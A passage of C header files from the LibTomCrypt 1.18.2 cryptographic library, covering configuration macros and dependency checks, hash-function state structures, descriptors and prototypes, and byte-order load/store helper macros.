418 | /* Enable RSA CRT hardening when doing private key operations by default */
419 | #define LTC_RSA_CRT_HARDENING
420 | #endif /* LTC_NO_RSA_CRT_HARDENING */
421 |
422 | #if defined(LTC_MECC) && !defined(LTC_NO_ECC_TIMING_RESISTANT)
423 | /* Enable ECC timing resistant version by default */
424 | #define LTC_ECC_TIMING_RESISTANT
425 | #endif
426 |
427 | /* PKCS #1 (RSA) and #5 (Password Handling) stuff */
428 | #ifndef LTC_NO_PKCS
429 |
430 | #define LTC_PKCS_1
431 | #define LTC_PKCS_5
432 |
433 | /* Include ASN.1 DER (required by DSA/RSA) */
434 | #define LTC_DER
435 |
436 | #endif /* LTC_NO_PKCS */
437 |
438 | /* misc stuff */
439 | #ifndef LTC_NO_MISC
440 |
441 | /* Various tidbits of modern neatoness */
442 | #define LTC_BASE64
443 | /* ... and it's URL safe version */
444 | #define LTC_BASE64_URL
445 |
446 | /* Keep LTC_NO_HKDF for compatibility reasons
447 | * superseeded by LTC_NO_MISC*/
448 | #ifndef LTC_NO_HKDF
449 | /* HKDF Key Derivation/Expansion stuff */
450 | #define LTC_HKDF
451 | #endif /* LTC_NO_HKDF */
452 |
453 | #define LTC_ADLER32
454 |
455 | #define LTC_CRC32
456 |
457 | #endif /* LTC_NO_MISC */
458 |
459 | /* cleanup */
460 |
461 | #ifdef LTC_MECC
462 | /* Supported ECC Key Sizes */
463 | #ifndef LTC_NO_CURVES
464 | #define LTC_ECC112
465 | #define LTC_ECC128
466 | #define LTC_ECC160
467 | #define LTC_ECC192
468 | #define LTC_ECC224
469 | #define LTC_ECC256
470 | #define LTC_ECC384
471 | #define LTC_ECC521
472 | #endif
473 | #endif
474 |
475 | #if defined(LTC_DER)
476 | #ifndef LTC_DER_MAX_RECURSION
477 | /* Maximum recursion limit when processing nested ASN.1 types. */
478 | #define LTC_DER_MAX_RECURSION 30
479 | #endif
480 | #endif
481 |
482 | #if defined(LTC_MECC) || defined(LTC_MRSA) || defined(LTC_MDSA) || defined(LTC_MKAT)
483 | /* Include the MPI functionality? (required by the PK algorithms) */
484 | #define LTC_MPI
485 |
486 | #ifndef LTC_PK_MAX_RETRIES
487 | /* iterations limit for retry-loops */
488 | #define LTC_PK_MAX_RETRIES 20
489 | #endif
490 | #endif
491 |
492 | #ifdef LTC_MRSA
493 | #define LTC_PKCS_1
494 | #endif
495 |
496 | #if defined(LTC_PELICAN) && !defined(LTC_RIJNDAEL)
497 | #error Pelican-MAC requires LTC_RIJNDAEL
498 | #endif
499 |
500 | #if defined(LTC_EAX_MODE) && !(defined(LTC_CTR_MODE) && defined(LTC_OMAC))
501 | #error LTC_EAX_MODE requires CTR and LTC_OMAC mode
502 | #endif
503 |
504 | #if defined(LTC_YARROW) && !defined(LTC_CTR_MODE)
505 | #error LTC_YARROW requires LTC_CTR_MODE chaining mode to be defined!
506 | #endif
507 |
508 | #if defined(LTC_DER) && !defined(LTC_MPI)
509 | #error ASN.1 DER requires MPI functionality
510 | #endif
511 |
512 | #if (defined(LTC_MDSA) || defined(LTC_MRSA) || defined(LTC_MECC) || defined(LTC_MKAT)) && !defined(LTC_DER)
513 | #error PK requires ASN.1 DER functionality, make sure LTC_DER is enabled
514 | #endif
515 |
516 | #if defined(LTC_CHACHA20POLY1305_MODE) && (!defined(LTC_CHACHA) || !defined(LTC_POLY1305))
517 | #error LTC_CHACHA20POLY1305_MODE requires LTC_CHACHA + LTC_POLY1305
518 | #endif
519 |
520 | #if defined(LTC_CHACHA20_PRNG) && !defined(LTC_CHACHA)
521 | #error LTC_CHACHA20_PRNG requires LTC_CHACHA
522 | #endif
523 |
524 | #if defined(LTC_RC4) && !defined(LTC_RC4_STREAM)
525 | #error LTC_RC4 requires LTC_RC4_STREAM
526 | #endif
527 |
528 | #if defined(LTC_SOBER128) && !defined(LTC_SOBER128_STREAM)
529 | #error LTC_SOBER128 requires LTC_SOBER128_STREAM
530 | #endif
531 |
532 | #if defined(LTC_BLAKE2SMAC) && !defined(LTC_BLAKE2S)
533 | #error LTC_BLAKE2SMAC requires LTC_BLAKE2S
534 | #endif
535 |
536 | #if defined(LTC_BLAKE2BMAC) && !defined(LTC_BLAKE2B)
537 | #error LTC_BLAKE2BMAC requires LTC_BLAKE2B
538 | #endif
539 |
540 | #if defined(LTC_SPRNG) && !defined(LTC_RNG_GET_BYTES)
541 | #error LTC_SPRNG requires LTC_RNG_GET_BYTES
542 | #endif
543 |
544 | #if defined(LTC_NO_MATH) && (defined(LTM_DESC) || defined(TFM_DESC) || defined(GMP_DESC))
545 | #error LTC_NO_MATH defined, but also a math descriptor
546 | #endif
547 |
548 | /* THREAD management */
549 | #ifdef LTC_PTHREAD
550 |
551 | #include
552 |
553 | #define LTC_MUTEX_GLOBAL(x) pthread_mutex_t x = PTHREAD_MUTEX_INITIALIZER;
554 | #define LTC_MUTEX_PROTO(x) extern pthread_mutex_t x;
555 | #define LTC_MUTEX_TYPE(x) pthread_mutex_t x;
556 | #define LTC_MUTEX_INIT(x) LTC_ARGCHK(pthread_mutex_init(x, NULL) == 0);
557 | #define LTC_MUTEX_LOCK(x) LTC_ARGCHK(pthread_mutex_lock(x) == 0);
558 | #define LTC_MUTEX_UNLOCK(x) LTC_ARGCHK(pthread_mutex_unlock(x) == 0);
559 | #define LTC_MUTEX_DESTROY(x) LTC_ARGCHK(pthread_mutex_destroy(x) == 0);
560 |
561 | #else
562 |
563 | /* default no functions */
564 | #define LTC_MUTEX_GLOBAL(x)
565 | #define LTC_MUTEX_PROTO(x)
566 | #define LTC_MUTEX_TYPE(x)
567 | #define LTC_MUTEX_INIT(x)
568 | #define LTC_MUTEX_LOCK(x)
569 | #define LTC_MUTEX_UNLOCK(x)
570 | #define LTC_MUTEX_DESTROY(x)
571 |
572 | #endif
573 |
574 | /* Debuggers */
575 |
576 | /* define this if you use Valgrind, note: it CHANGES the way SOBER-128 and RC4 work (see the code) */
577 | /* #define LTC_VALGRIND */
578 |
579 | #endif
580 |
581 | #ifndef LTC_NO_FILE
582 | /* buffer size for reading from a file via fread(..) */
583 | #ifndef LTC_FILE_READ_BUFSIZE
584 | #define LTC_FILE_READ_BUFSIZE 8192
585 | #endif
586 | #endif
587 |
588 | /* ref: HEAD -> master, tag: v1.18.2 */
589 | /* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
590 | /* commit time: 2018-07-01 22:49:01 +0200 */
591 |
--------------------------------------------------------------------------------
/tomcrypt_hash.h:
--------------------------------------------------------------------------------
1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis
2 | *
3 | * LibTomCrypt is a library that provides various cryptographic
4 | * algorithms in a highly modular and flexible manner.
5 | *
6 | * The library is free for all purposes without any express
7 | * guarantee it works.
8 | */
9 |
10 | /* ---- HASH FUNCTIONS ---- */
11 | #ifdef LTC_SHA3
12 | struct sha3_state {
13 | ulong64 saved; /* the portion of the input message that we didn't consume yet */
14 | ulong64 s[25];
15 | unsigned char sb[25 * 8]; /* used for storing `ulong64 s[25]` as little-endian bytes */
16 | unsigned short byte_index; /* 0..7--the next byte after the set one (starts from 0; 0--none are buffered) */
17 | unsigned short word_index; /* 0..24--the next word to integrate input (starts from 0) */
18 | unsigned short capacity_words; /* the double size of the hash output in words (e.g. 16 for Keccak 512) */
19 | unsigned short xof_flag;
20 | };
21 | #endif
22 |
23 | #ifdef LTC_SHA512
24 | struct sha512_state {
25 | ulong64 length, state[8];
26 | unsigned long curlen;
27 | unsigned char buf[128];
28 | };
29 | #endif
30 |
31 | #ifdef LTC_SHA256
32 | struct sha256_state {
33 | ulong64 length;
34 | ulong32 state[8], curlen;
35 | unsigned char buf[64];
36 | };
37 | #endif
38 |
39 | #ifdef LTC_SHA1
40 | struct sha1_state {
41 | ulong64 length;
42 | ulong32 state[5], curlen;
43 | unsigned char buf[64];
44 | };
45 | #endif
46 |
47 | #ifdef LTC_MD5
48 | struct md5_state {
49 | ulong64 length;
50 | ulong32 state[4], curlen;
51 | unsigned char buf[64];
52 | };
53 | #endif
54 |
55 | #ifdef LTC_MD4
56 | struct md4_state {
57 | ulong64 length;
58 | ulong32 state[4], curlen;
59 | unsigned char buf[64];
60 | };
61 | #endif
62 |
63 | #ifdef LTC_TIGER
64 | struct tiger_state {
65 | ulong64 state[3], length;
66 | unsigned long curlen;
67 | unsigned char buf[64];
68 | };
69 | #endif
70 |
71 | #ifdef LTC_MD2
72 | struct md2_state {
73 | unsigned char chksum[16], X[48], buf[16];
74 | unsigned long curlen;
75 | };
76 | #endif
77 |
78 | #ifdef LTC_RIPEMD128
79 | struct rmd128_state {
80 | ulong64 length;
81 | unsigned char buf[64];
82 | ulong32 curlen, state[4];
83 | };
84 | #endif
85 |
86 | #ifdef LTC_RIPEMD160
87 | struct rmd160_state {
88 | ulong64 length;
89 | unsigned char buf[64];
90 | ulong32 curlen, state[5];
91 | };
92 | #endif
93 |
94 | #ifdef LTC_RIPEMD256
95 | struct rmd256_state {
96 | ulong64 length;
97 | unsigned char buf[64];
98 | ulong32 curlen, state[8];
99 | };
100 | #endif
101 |
102 | #ifdef LTC_RIPEMD320
103 | struct rmd320_state {
104 | ulong64 length;
105 | unsigned char buf[64];
106 | ulong32 curlen, state[10];
107 | };
108 | #endif
109 |
110 | #ifdef LTC_WHIRLPOOL
111 | struct whirlpool_state {
112 | ulong64 length, state[8];
113 | unsigned char buf[64];
114 | ulong32 curlen;
115 | };
116 | #endif
117 |
118 | #ifdef LTC_CHC_HASH
119 | struct chc_state {
120 | ulong64 length;
121 | unsigned char state[MAXBLOCKSIZE], buf[MAXBLOCKSIZE];
122 | ulong32 curlen;
123 | };
124 | #endif
125 |
126 | #ifdef LTC_BLAKE2S
127 | struct blake2s_state {
128 | ulong32 h[8];
129 | ulong32 t[2];
130 | ulong32 f[2];
131 | unsigned char buf[64];
132 | unsigned long curlen;
133 | unsigned long outlen;
134 | unsigned char last_node;
135 | };
136 | #endif
137 |
138 | #ifdef LTC_BLAKE2B
139 | struct blake2b_state {
140 | ulong64 h[8];
141 | ulong64 t[2];
142 | ulong64 f[2];
143 | unsigned char buf[128];
144 | unsigned long curlen;
145 | unsigned long outlen;
146 | unsigned char last_node;
147 | };
148 | #endif
149 |
150 | typedef union Hash_state {
151 | char dummy[1];
152 | #ifdef LTC_CHC_HASH
153 | struct chc_state chc;
154 | #endif
155 | #ifdef LTC_WHIRLPOOL
156 | struct whirlpool_state whirlpool;
157 | #endif
158 | #ifdef LTC_SHA3
159 | struct sha3_state sha3;
160 | #endif
161 | #ifdef LTC_SHA512
162 | struct sha512_state sha512;
163 | #endif
164 | #ifdef LTC_SHA256
165 | struct sha256_state sha256;
166 | #endif
167 | #ifdef LTC_SHA1
168 | struct sha1_state sha1;
169 | #endif
170 | #ifdef LTC_MD5
171 | struct md5_state md5;
172 | #endif
173 | #ifdef LTC_MD4
174 | struct md4_state md4;
175 | #endif
176 | #ifdef LTC_MD2
177 | struct md2_state md2;
178 | #endif
179 | #ifdef LTC_TIGER
180 | struct tiger_state tiger;
181 | #endif
182 | #ifdef LTC_RIPEMD128
183 | struct rmd128_state rmd128;
184 | #endif
185 | #ifdef LTC_RIPEMD160
186 | struct rmd160_state rmd160;
187 | #endif
188 | #ifdef LTC_RIPEMD256
189 | struct rmd256_state rmd256;
190 | #endif
191 | #ifdef LTC_RIPEMD320
192 | struct rmd320_state rmd320;
193 | #endif
194 | #ifdef LTC_BLAKE2S
195 | struct blake2s_state blake2s;
196 | #endif
197 | #ifdef LTC_BLAKE2B
198 | struct blake2b_state blake2b;
199 | #endif
200 |
201 | void *data;
202 | } hash_state;
203 |
204 | /** hash descriptor */
205 | extern struct ltc_hash_descriptor {
206 | /** name of hash */
207 | const char *name;
208 | /** internal ID */
209 | unsigned char ID;
210 | /** Size of digest in octets */
211 | unsigned long hashsize;
212 | /** Input block size in octets */
213 | unsigned long blocksize;
214 | /** ASN.1 OID */
215 | unsigned long OID[16];
216 | /** Length of DER encoding */
217 | unsigned long OIDlen;
218 |
219 | /** Init a hash state
220 | @param hash The hash to initialize
221 | @return CRYPT_OK if successful
222 | */
223 | int (*init)(hash_state *hash);
224 | /** Process a block of data
225 | @param hash The hash state
226 | @param in The data to hash
227 | @param inlen The length of the data (octets)
228 | @return CRYPT_OK if successful
229 | */
230 | int (*process)(hash_state *hash, const unsigned char *in, unsigned long inlen);
231 | /** Produce the digest and store it
232 | @param hash The hash state
233 | @param out [out] The destination of the digest
234 | @return CRYPT_OK if successful
235 | */
236 | int (*done)(hash_state *hash, unsigned char *out);
237 | /** Self-test
238 | @return CRYPT_OK if successful, CRYPT_NOP if self-tests have been disabled
239 | */
240 | int (*test)(void);
241 |
242 | /* accelerated hmac callback: if you need to-do multiple packets just use the generic hmac_memory and provide a hash callback */
243 | int (*hmac_block)(const unsigned char *key, unsigned long keylen,
244 | const unsigned char *in, unsigned long inlen,
245 | unsigned char *out, unsigned long *outlen);
246 |
247 | } hash_descriptor[];
248 |
249 | #ifdef LTC_CHC_HASH
250 | int chc_register(int cipher);
251 | int chc_init(hash_state * md);
252 | int chc_process(hash_state * md, const unsigned char *in, unsigned long inlen);
253 | int chc_done(hash_state * md, unsigned char *hash);
254 | int chc_test(void);
255 | extern const struct ltc_hash_descriptor chc_desc;
256 | #endif
257 |
258 | #ifdef LTC_WHIRLPOOL
259 | int whirlpool_init(hash_state * md);
260 | int whirlpool_process(hash_state * md, const unsigned char *in, unsigned long inlen);
261 | int whirlpool_done(hash_state * md, unsigned char *hash);
262 | int whirlpool_test(void);
263 | extern const struct ltc_hash_descriptor whirlpool_desc;
264 | #endif
265 |
266 | #ifdef LTC_SHA3
267 | int sha3_512_init(hash_state * md);
268 | int sha3_512_test(void);
269 | extern const struct ltc_hash_descriptor sha3_512_desc;
270 | int sha3_384_init(hash_state * md);
271 | int sha3_384_test(void);
272 | extern const struct ltc_hash_descriptor sha3_384_desc;
273 | int sha3_256_init(hash_state * md);
274 | int sha3_256_test(void);
275 | extern const struct ltc_hash_descriptor sha3_256_desc;
276 | int sha3_224_init(hash_state * md);
277 | int sha3_224_test(void);
278 | extern const struct ltc_hash_descriptor sha3_224_desc;
279 | /* process + done are the same for all variants */
280 | int sha3_process(hash_state * md, const unsigned char *in, unsigned long inlen);
281 | int sha3_done(hash_state *md, unsigned char *hash);
282 | /* SHAKE128 + SHAKE256 */
283 | int sha3_shake_init(hash_state *md, int num);
284 | #define sha3_shake_process(a,b,c) sha3_process(a,b,c)
285 | int sha3_shake_done(hash_state *md, unsigned char *out, unsigned long outlen);
286 | int sha3_shake_test(void);
287 | int sha3_shake_memory(int num, const unsigned char *in, unsigned long inlen, unsigned char *out, unsigned long *outlen);
288 | #endif
289 |
290 | #ifdef LTC_SHA512
291 | int sha512_init(hash_state * md);
292 | int sha512_process(hash_state * md, const unsigned char *in, unsigned long inlen);
293 | int sha512_done(hash_state * md, unsigned char *hash);
294 | int sha512_test(void);
295 | extern const struct ltc_hash_descriptor sha512_desc;
296 | #endif
297 |
298 | #ifdef LTC_SHA384
299 | #ifndef LTC_SHA512
300 | #error LTC_SHA512 is required for LTC_SHA384
301 | #endif
302 | int sha384_init(hash_state * md);
303 | #define sha384_process sha512_process
304 | int sha384_done(hash_state * md, unsigned char *hash);
305 | int sha384_test(void);
306 | extern const struct ltc_hash_descriptor sha384_desc;
307 | #endif
308 |
309 | #ifdef LTC_SHA512_256
310 | #ifndef LTC_SHA512
311 | #error LTC_SHA512 is required for LTC_SHA512_256
312 | #endif
313 | int sha512_256_init(hash_state * md);
314 | #define sha512_256_process sha512_process
315 | int sha512_256_done(hash_state * md, unsigned char *hash);
316 | int sha512_256_test(void);
317 | extern const struct ltc_hash_descriptor sha512_256_desc;
318 | #endif
319 |
320 | #ifdef LTC_SHA512_224
321 | #ifndef LTC_SHA512
322 | #error LTC_SHA512 is required for LTC_SHA512_224
323 | #endif
324 | int sha512_224_init(hash_state * md);
325 | #define sha512_224_process sha512_process
326 | int sha512_224_done(hash_state * md, unsigned char *hash);
327 | int sha512_224_test(void);
328 | extern const struct ltc_hash_descriptor sha512_224_desc;
329 | #endif
330 |
331 | #ifdef LTC_SHA256
332 | int sha256_init(hash_state * md);
333 | int sha256_process(hash_state * md, const unsigned char *in, unsigned long inlen);
334 | int sha256_done(hash_state * md, unsigned char *hash);
335 | int sha256_test(void);
336 | extern const struct ltc_hash_descriptor sha256_desc;
337 |
338 | #ifdef LTC_SHA224
339 | #ifndef LTC_SHA256
340 | #error LTC_SHA256 is required for LTC_SHA224
341 | #endif
342 | int sha224_init(hash_state * md);
343 | #define sha224_process sha256_process
344 | int sha224_done(hash_state * md, unsigned char *hash);
345 | int sha224_test(void);
346 | extern const struct ltc_hash_descriptor sha224_desc;
347 | #endif
348 | #endif
349 |
350 | #ifdef LTC_SHA1
351 | int sha1_init(hash_state * md);
352 | int sha1_process(hash_state * md, const unsigned char *in, unsigned long inlen);
353 | int sha1_done(hash_state * md, unsigned char *hash);
354 | int sha1_test(void);
355 | extern const struct ltc_hash_descriptor sha1_desc;
356 | #endif
357 |
358 | #ifdef LTC_BLAKE2S
359 | extern const struct ltc_hash_descriptor blake2s_256_desc;
360 | int blake2s_256_init(hash_state * md);
361 | int blake2s_256_test(void);
362 |
363 | extern const struct ltc_hash_descriptor blake2s_224_desc;
364 | int blake2s_224_init(hash_state * md);
365 | int blake2s_224_test(void);
366 |
367 | extern const struct ltc_hash_descriptor blake2s_160_desc;
368 | int blake2s_160_init(hash_state * md);
369 | int blake2s_160_test(void);
370 |
371 | extern const struct ltc_hash_descriptor blake2s_128_desc;
372 | int blake2s_128_init(hash_state * md);
373 | int blake2s_128_test(void);
374 |
375 | int blake2s_init(hash_state * md, unsigned long outlen, const unsigned char *key, unsigned long keylen);
376 | int blake2s_process(hash_state * md, const unsigned char *in, unsigned long inlen);
377 | int blake2s_done(hash_state * md, unsigned char *hash);
378 | #endif
379 |
380 | #ifdef LTC_BLAKE2B
381 | extern const struct ltc_hash_descriptor blake2b_512_desc;
382 | int blake2b_512_init(hash_state * md);
383 | int blake2b_512_test(void);
384 |
385 | extern const struct ltc_hash_descriptor blake2b_384_desc;
386 | int blake2b_384_init(hash_state * md);
387 | int blake2b_384_test(void);
388 |
389 | extern const struct ltc_hash_descriptor blake2b_256_desc;
390 | int blake2b_256_init(hash_state * md);
391 | int blake2b_256_test(void);
392 |
393 | extern const struct ltc_hash_descriptor blake2b_160_desc;
394 | int blake2b_160_init(hash_state * md);
395 | int blake2b_160_test(void);
396 |
397 | int blake2b_init(hash_state * md, unsigned long outlen, const unsigned char *key, unsigned long keylen);
398 | int blake2b_process(hash_state * md, const unsigned char *in, unsigned long inlen);
399 | int blake2b_done(hash_state * md, unsigned char *hash);
400 | #endif
401 |
402 | #ifdef LTC_MD5
403 | int md5_init(hash_state * md);
404 | int md5_process(hash_state * md, const unsigned char *in, unsigned long inlen);
405 | int md5_done(hash_state * md, unsigned char *hash);
406 | int md5_test(void);
407 | extern const struct ltc_hash_descriptor md5_desc;
408 | #endif
409 |
410 | #ifdef LTC_MD4
411 | int md4_init(hash_state * md);
412 | int md4_process(hash_state * md, const unsigned char *in, unsigned long inlen);
413 | int md4_done(hash_state * md, unsigned char *hash);
414 | int md4_test(void);
415 | extern const struct ltc_hash_descriptor md4_desc;
416 | #endif
417 |
418 | #ifdef LTC_MD2
419 | int md2_init(hash_state * md);
420 | int md2_process(hash_state * md, const unsigned char *in, unsigned long inlen);
421 | int md2_done(hash_state * md, unsigned char *hash);
422 | int md2_test(void);
423 | extern const struct ltc_hash_descriptor md2_desc;
424 | #endif
425 |
426 | #ifdef LTC_TIGER
427 | int tiger_init(hash_state * md);
428 | int tiger_process(hash_state * md, const unsigned char *in, unsigned long inlen);
429 | int tiger_done(hash_state * md, unsigned char *hash);
430 | int tiger_test(void);
431 | extern const struct ltc_hash_descriptor tiger_desc;
432 | #endif
433 |
434 | #ifdef LTC_RIPEMD128
435 | int rmd128_init(hash_state * md);
436 | int rmd128_process(hash_state * md, const unsigned char *in, unsigned long inlen);
437 | int rmd128_done(hash_state * md, unsigned char *hash);
438 | int rmd128_test(void);
439 | extern const struct ltc_hash_descriptor rmd128_desc;
440 | #endif
441 |
442 | #ifdef LTC_RIPEMD160
443 | int rmd160_init(hash_state * md);
444 | int rmd160_process(hash_state * md, const unsigned char *in, unsigned long inlen);
445 | int rmd160_done(hash_state * md, unsigned char *hash);
446 | int rmd160_test(void);
447 | extern const struct ltc_hash_descriptor rmd160_desc;
448 | #endif
449 |
450 | #ifdef LTC_RIPEMD256
451 | int rmd256_init(hash_state * md);
452 | int rmd256_process(hash_state * md, const unsigned char *in, unsigned long inlen);
453 | int rmd256_done(hash_state * md, unsigned char *hash);
454 | int rmd256_test(void);
455 | extern const struct ltc_hash_descriptor rmd256_desc;
456 | #endif
457 |
458 | #ifdef LTC_RIPEMD320
459 | int rmd320_init(hash_state * md);
460 | int rmd320_process(hash_state * md, const unsigned char *in, unsigned long inlen);
461 | int rmd320_done(hash_state * md, unsigned char *hash);
462 | int rmd320_test(void);
463 | extern const struct ltc_hash_descriptor rmd320_desc;
464 | #endif
465 |
466 |
467 | int find_hash(const char *name);
468 | int find_hash_id(unsigned char ID);
469 | int find_hash_oid(const unsigned long *ID, unsigned long IDlen);
470 | int find_hash_any(const char *name, int digestlen);
471 | int register_hash(const struct ltc_hash_descriptor *hash);
472 | int unregister_hash(const struct ltc_hash_descriptor *hash);
473 | int register_all_hashes(void);
474 | int hash_is_valid(int idx);
475 |
476 | LTC_MUTEX_PROTO(ltc_hash_mutex)
477 |
478 | int hash_memory(int hash,
479 | const unsigned char *in, unsigned long inlen,
480 | unsigned char *out, unsigned long *outlen);
481 | int hash_memory_multi(int hash, unsigned char *out, unsigned long *outlen,
482 | const unsigned char *in, unsigned long inlen, ...);
483 |
484 | #ifndef LTC_NO_FILE
485 | int hash_filehandle(int hash, FILE *in, unsigned char *out, unsigned long *outlen);
486 | int hash_file(int hash, const char *fname, unsigned char *out, unsigned long *outlen);
487 | #endif
488 |
489 | /* a simple macro for making hash "process" functions */
490 | #define HASH_PROCESS(func_name, compress_name, state_var, block_size) \
491 | int func_name (hash_state * md, const unsigned char *in, unsigned long inlen) \
492 | { \
493 | unsigned long n; \
494 | int err; \
495 | LTC_ARGCHK(md != NULL); \
496 | LTC_ARGCHK(in != NULL); \
497 | if (md-> state_var .curlen > sizeof(md-> state_var .buf)) { \
498 | return CRYPT_INVALID_ARG; \
499 | } \
500 | if ((md-> state_var .length + inlen) < md-> state_var .length) { \
501 | return CRYPT_HASH_OVERFLOW; \
502 | } \
503 | while (inlen > 0) { \
504 | if (md-> state_var .curlen == 0 && inlen >= block_size) { \
505 | if ((err = compress_name (md, (unsigned char *)in)) != CRYPT_OK) { \
506 | return err; \
507 | } \
508 | md-> state_var .length += block_size * 8; \
509 | in += block_size; \
510 | inlen -= block_size; \
511 | } else { \
512 | n = MIN(inlen, (block_size - md-> state_var .curlen)); \
513 | XMEMCPY(md-> state_var .buf + md-> state_var.curlen, in, (size_t)n); \
514 | md-> state_var .curlen += n; \
515 | in += n; \
516 | inlen -= n; \
517 | if (md-> state_var .curlen == block_size) { \
518 | if ((err = compress_name (md, md-> state_var .buf)) != CRYPT_OK) { \
519 | return err; \
520 | } \
521 | md-> state_var .length += 8*block_size; \
522 | md-> state_var .curlen = 0; \
523 | } \
524 | } \
525 | } \
526 | return CRYPT_OK; \
527 | }
528 |
529 | /* ref: HEAD -> master, tag: v1.18.2 */
530 | /* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */
531 | /* commit time: 2018-07-01 22:49:01 +0200 */
532 |
--------------------------------------------------------------------------------
/tomcrypt_macros.h:
--------------------------------------------------------------------------------
1 | /* LibTomCrypt, modular cryptographic library -- Tom St Denis
2 | *
3 | * LibTomCrypt is a library that provides various cryptographic
4 | * algorithms in a highly modular and flexible manner.
5 | *
6 | * The library is free for all purposes without any express
7 | * guarantee it works.
8 | */
9 |
10 | /* ---- HELPER MACROS ---- */
11 | #ifdef ENDIAN_NEUTRAL
12 |
13 | #define STORE32L(x, y) \
14 | do { (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
15 | (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
16 |
17 | #define LOAD32L(x, y) \
18 | do { x = ((ulong32)((y)[3] & 255)<<24) | \
19 | ((ulong32)((y)[2] & 255)<<16) | \
20 | ((ulong32)((y)[1] & 255)<<8) | \
21 | ((ulong32)((y)[0] & 255)); } while(0)
22 |
23 | #define STORE64L(x, y) \
24 | do { (y)[7] = (unsigned char)(((x)>>56)&255); (y)[6] = (unsigned char)(((x)>>48)&255); \
25 | (y)[5] = (unsigned char)(((x)>>40)&255); (y)[4] = (unsigned char)(((x)>>32)&255); \
26 | (y)[3] = (unsigned char)(((x)>>24)&255); (y)[2] = (unsigned char)(((x)>>16)&255); \
27 | (y)[1] = (unsigned char)(((x)>>8)&255); (y)[0] = (unsigned char)((x)&255); } while(0)
28 |
29 | #define LOAD64L(x, y) \
30 | do { x = (((ulong64)((y)[7] & 255))<<56)|(((ulong64)((y)[6] & 255))<<48)| \
31 | (((ulong64)((y)[5] & 255))<<40)|(((ulong64)((y)[4] & 255))<<32)| \
32 | (((ulong64)((y)[3] & 255))<<24)|(((ulong64)((y)[2] & 255))<<16)| \
33 | (((ulong64)((y)[1] & 255))<<8)|(((ulong64)((y)[0] & 255))); } while(0)
34 |
35 | #define STORE32H(x, y) \
36 | do { (y)[0] = (unsigned char)(((x)>>24)&255); (y)[1] = (unsigned char)(((x)>>16)&255); \
37 | (y)[2] = (unsigned char)(((x)>>8)&255); (y)[3] = (unsigned char)((x)&255); } while(0)
38 |
39 | #define LOAD32H(x, y) \
40 | do { x = ((ulong32)((y)[0] & 255)<<24) | \
41 | ((ulong32)((y)[1] & 255)<<16) | \
42 | ((ulong32)((y)[2] & 255)<<8) | \
43 | ((ulong32)((y)[3] & 255)); } while(0)
44 |
45 | #define STORE64H(x, y) \
46 | do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \
47 | (y)[2] = (unsigned char)(((x)>>40)&255); (y)[3] = (unsigned char)(((x)>>32)&255); \
48 | (y)[4] = (unsigned char)(((x)>>24)&255); (y)[5] = (unsigned char)(((x)>>16)&255); \
49 | (y)[6] = (unsigned char)(((x)>>8)&255); (y)[7] = (unsigned char)((x)&255); } while(0)
50 |
51 | #define LOAD64H(x, y) \
52 | do { x = (((ulong64)((y)[0] & 255))<<56)|(((ulong64)((y)[1] & 255))<<48) | \
53 | (((ulong64)((y)[2] & 255))<<40)|(((ulong64)((y)[3] & 255))<<32) | \
54 | (((ulong64)((y)[4] & 255))<<24)|(((ulong64)((y)[5] & 255))<<16) | \
55 | (((ulong64)((y)[6] & 255))<<8)|(((ulong64)((y)[7] & 255))); } while(0)
56 |
57 |
58 | #elif defined(ENDIAN_LITTLE)
59 |
60 | #ifdef LTC_HAVE_BSWAP_BUILTIN
61 |
62 | #define STORE32H(x, y) \
63 | do { ulong32 __t = __builtin_bswap32 ((x)); \
64 | XMEMCPY ((y), &__t, 4); } while(0)
65 |
66 | #define LOAD32H(x, y) \
67 | do { XMEMCPY (&(x), (y), 4); \
68 | (x) = __builtin_bswap32 ((x)); } while(0)
69 |
70 | #elif !defined(LTC_NO_BSWAP) && (defined(INTEL_CC) || (defined(__GNUC__) && (defined(__DJGPP__) || defined(__CYGWIN__) || defined(__MINGW32__) || defined(__i386__) || defined(__x86_64__))))
71 |
72 | #define STORE32H(x, y) \
73 | asm __volatile__ ( \
74 | "bswapl %0 \n\t" \
75 | "movl %0,(%1)\n\t" \
76 | "bswapl %0 \n\t" \
77 | ::"r"(x), "r"(y));
78 |
79 | #define LOAD32H(x, y) \
80 | asm __volatile__ ( \
81 | "movl (%1),%0\n\t" \
82 | "bswapl %0\n\t" \
83 | :"=r"(x): "r"(y));
84 |
85 | #else
86 |
87 | #define STORE32H(x, y) \
88 | do { (y)[0] = (unsigned char)(((x)>>24)&255); (y)[1] = (unsigned char)(((x)>>16)&255); \
89 | (y)[2] = (unsigned char)(((x)>>8)&255); (y)[3] = (unsigned char)((x)&255); } while(0)
90 |
91 | #define LOAD32H(x, y) \
92 | do { x = ((ulong32)((y)[0] & 255)<<24) | \
93 | ((ulong32)((y)[1] & 255)<<16) | \
94 | ((ulong32)((y)[2] & 255)<<8) | \
95 | ((ulong32)((y)[3] & 255)); } while(0)
96 |
97 | #endif
98 |
99 | #ifdef LTC_HAVE_BSWAP_BUILTIN
100 |
101 | #define STORE64H(x, y) \
102 | do { ulong64 __t = __builtin_bswap64 ((x)); \
103 | XMEMCPY ((y), &__t, 8); } while(0)
104 |
105 | #define LOAD64H(x, y) \
106 | do { XMEMCPY (&(x), (y), 8); \
107 | (x) = __builtin_bswap64 ((x)); } while(0)
108 |
109 | /* x86_64 processor */
110 | #elif !defined(LTC_NO_BSWAP) && (defined(__GNUC__) && defined(__x86_64__))
111 |
112 | #define STORE64H(x, y) \
113 | asm __volatile__ ( \
114 | "bswapq %0 \n\t" \
115 | "movq %0,(%1)\n\t" \
116 | "bswapq %0 \n\t" \
117 | ::"r"(x), "r"(y): "memory");
118 |
119 | #define LOAD64H(x, y) \
120 | asm __volatile__ ( \
121 | "movq (%1),%0\n\t" \
122 | "bswapq %0\n\t" \
123 | :"=r"(x): "r"(y): "memory");
124 |
125 | #else
126 |
127 | #define STORE64H(x, y) \
128 | do { (y)[0] = (unsigned char)(((x)>>56)&255); (y)[1] = (unsigned char)(((x)>>48)&255); \
